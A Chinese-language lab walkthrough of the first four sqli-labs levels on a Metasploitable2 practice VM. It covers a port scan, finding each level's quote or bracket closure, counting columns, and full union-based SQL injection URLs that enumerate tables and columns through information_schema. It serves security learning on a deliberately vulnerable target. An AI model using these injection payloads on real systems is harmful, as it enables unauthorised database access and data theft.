SQLI—labs-master(前四关之闭合符详解)

思路:

利用漏洞极多的靶场来模拟SQL注入

环境:

Metasploitable2

步骤:

1.查看虚拟主机的IP

SQLI—labs-master(前四关之闭合符详解)_第1张图片

2.开启服务,可见如下的TCP端口就处于开启状态

root@metasploitable:~# nmap -p0-65535 192.168.211.132

Starting Nmap 4.53 ( http://insecure.org ) at 2020-03-29 05:25 EDT
Interesting ports on 192.168.211.132:
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  unknown
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgres
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
34789/tcp open  unknown
39583/tcp open  unknown
44078/tcp open  unknown
50582/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 4.046 seconds

查看php程序的执行根目录 /var/www 其下有一些用于攻击的漏洞练习

SQLI—labs-master(前四关之闭合符详解)_第2张图片

 

使用浏览器登录Metasploitable2的主页面

SQLI—labs-master(前四关之闭合符详解)_第3张图片

进入sqli-labs-master 下的sql-connections  setup-db.php以重置数据库

SQLI—labs-master(前四关之闭合符详解)_第4张图片

 

接下来进入SQL注入的模拟练习第一关,按照要求在地址栏输入?id=1 即GET方法

SQLI—labs-master(前四关之闭合符详解)_第5张图片

SQLI—labs-master(前四关之闭合符详解)_第6张图片

 

接下来进行SQL注入

思路如下:

  1. 判断交互方式 get/post/http head
  2. 预判数据库执行语句
  3. 判断提交数据的闭合方式 整形、‘ ’、“ ”,(),(‘ ’),(“ ”) 快速判断闭合方式 and 1=1 和and 1=2
  4. 构造语句打破闭合
  5. 构造联合查询判断输出位 通过order by 判断列数 建议使用二分法

按如上思路进行判断整理

1.根据输入的id可以判断出来 该页面与WEB服务器的交互方式为GET

2.根据输入的id 得出用户明与密码可得SQL语句大致如下

select * from users where id = 页面输入的id ,即根据输入的id来匹配存储用户名与密码的数据库表

3.利用简单的and 1=1 来判断id的闭合方式

a.输入and 1=1与and 1=2后页面无变化 ,即页面把andx=x当作了字符串来处理,据此可以得出闭合方式不是整形。如图3-a

b.猜测id后的闭合符为单引号,并用#(浏览器转义后为--+)注释掉其后的闭合符,可见and1=1执行成功,而and1=2执行失败,可以见得数据库确实执行了此条测试语句,如图3-b

4.将源语句的id设置成不存在的id,使用联合查询即可完成,演示入图4

5.利用二分法判断输出位 如图5

 

图3-a

SQLI—labs-master(前四关之闭合符详解)_第7张图片

SQLI—labs-master(前四关之闭合符详解)_第8张图片

 

图3-b

SQLI—labs-master(前四关之闭合符详解)_第9张图片

SQLI—labs-master(前四关之闭合符详解)_第10张图片

 

若不使用注释符的话,写法如下

SQLI—labs-master(前四关之闭合符详解)_第11张图片

 

查看页面源代码,详细解释闭合符

SELECT * FROM users WHERE id='$id' LIMIT 0,1

id前后有单引号作为闭合符,上图写法的意思是,先在id后写个单引号,将源SQL语句的第一个单引号闭合,而要使用and来测试的话,默认最后是有一个闭合符的应在最后的1前写上一个闭合符来与最后的默认的单引号形成对应,此时的1被包含在了两个单引号的其中,被作为了一个字符,所以应在and后的第一个1左右也应写上单引号使其成为字符,这样一来才能进行and的测试。

limit 0,1的意思是,将从从第0行显示,且只显示1行

Mysql中测试,第一个语句的意思是查询users表中从第0行开始的一行数据,第二个语句的意思是查询uesrs表中从第1行开始的两行数据,即与C语言中的数据类似,从0开始

SQLI—labs-master(前四关之闭合符详解)_第12张图片

 

图4

SQLI—labs-master(前四关之闭合符详解)_第13张图片

SQLI—labs-master(前四关之闭合符详解)_第14张图片

说明:

将id设置为数据库不存在的数,使用联合查询,查询想要知道的数据,上图的select后面有个1的意思是,所查询的数据显示出来的格式要符合数据库原本的格式,即三个字段,即这里的1只为填充这个id字段,并无其他含义,写成2也无妨,也就是说,联合查询一定要注意列数必须相同

利用mysql更能理解其中的含义

SQLI—labs-master(前四关之闭合符详解)_第15张图片

 

图5

SQLI—labs-master(前四关之闭合符详解)_第16张图片

SQLI—labs-master(前四关之闭合符详解)_第17张图片

 


接下来进行简单的SQL注入,来实现想要得到的数据

需求:

  • 查找security库中表users的列元素

原始sql语句如下,将其插入至SQL注入的联合查询语句中

select column_name from information_schema.columns where table_schema='security' and table_name='users' ;

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users'),version()--+

SQLI—labs-master(前四关之闭合符详解)_第18张图片

但是页面提示,返回值超过一行,这是因为页面的mysql语句有limit0,1的限制输出,解决办法是在注入的sql语句中添加limit0,1尚可

接下来更改limit后的第一个字段,用于显示其他列名即可

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),version()--+

SQLI—labs-master(前四关之闭合符详解)_第19张图片

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),version()--+

SQLI—labs-master(前四关之闭合符详解)_第20张图片

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select 1,( select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),version()--+

SQLI—labs-master(前四关之闭合符详解)_第21张图片

 

验证:

进入虚拟主机的mysql来验证列名是否与浏览器的显示一致,可见与预期相符

SQLI—labs-master(前四关之闭合符详解)_第22张图片

 

  1. 查找security库有那些表

页面有两个输出栏,则利用联合查询来注入sql

select distinct table_name from information_schema.columns where table_schema='security' limit 0,1;

select distinct table_name from information_schema.columns where table_schema='security' limit 1,1;

 

 

网址栏输入

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select (select distinct table_name from information_schema.columns where table_schema='security' limit 0,1),( select distinct table_name from information_schema.columns where table_schema='security' limit 1,1)--+

SQLI—labs-master(前四关之闭合符详解)_第23张图片

 


select distinct table_name from information_schema.columns where table_schema='security' limit 2,1;

select distinct table_name from information_schema.columns where table_schema='security' limit 3,1;

网址栏输入

http://192.168.211.132/sqli-labs-master/Less-1/?id=-1’ union all select (select distinct table_name from information_schema.columns where table_schema='security' limit 2,1),( select distinct table_name from information_schema.columns where table_schema='security' limit 3,1)--+

 

SQLI—labs-master(前四关之闭合符详解)_第24张图片

 

 

验证:可见,与预期相符

SQLI—labs-master(前四关之闭合符详解)_第25张图片

 

接下来进入第二关

SQLI—labs-master(前四关之闭合符详解)_第26张图片

 

根据提示在网址栏输入id=1

SQLI—labs-master(前四关之闭合符详解)_第27张图片

 

判断闭合符,由此可见 闭合符不是“ ) ‘)

SQLI—labs-master(前四关之闭合符详解)_第28张图片

SQLI—labs-master(前四关之闭合符详解)_第29张图片

SQLI—labs-master(前四关之闭合符详解)_第30张图片

 

由下图可以推断出闭合符为整形

SQLI—labs-master(前四关之闭合符详解)_第31张图片

SQLI—labs-master(前四关之闭合符详解)_第32张图片

 

利用order by判断出来列数为三列

SQLI—labs-master(前四关之闭合符详解)_第33张图片

SQLI—labs-master(前四关之闭合符详解)_第34张图片

 

利用联合查询来查找想要的数据

SQLI—labs-master(前四关之闭合符详解)_第35张图片

查看后台数据库的语句,可见与预期相符

SQLI—labs-master(前四关之闭合符详解)_第36张图片

接下来进入第三关

SQLI—labs-master(前四关之闭合符详解)_第37张图片

方法上上一关类似,向判断闭合符,然后查看输出列宽度,最后利用联合查询来查找想要的数据

SQLI—labs-master(前四关之闭合符详解)_第38张图片

 

经判断,闭合符为’) 输出列宽度为3

构造联合查询,来查找需要的数据

SQLI—labs-master(前四关之闭合符详解)_第39张图片

 

查看后台数据库的语句,可见与预期相符

 

第四关同理,经判断,闭合符为”) 输出列宽度为3

SQLI—labs-master(前四关之闭合符详解)_第40张图片

 

构造联合查询来查找需要的数据

SQLI—labs-master(前四关之闭合符详解)_第41张图片

 

查看后台数据库的语句,这里的id手续爱你定义了双引号,然后SQL语句中定义了闭合符为() 所以第四关的闭合符为(“”)

SQLI—labs-master(前四关之闭合符详解)_第42张图片


 

你可能感兴趣的:(#,SQL注入)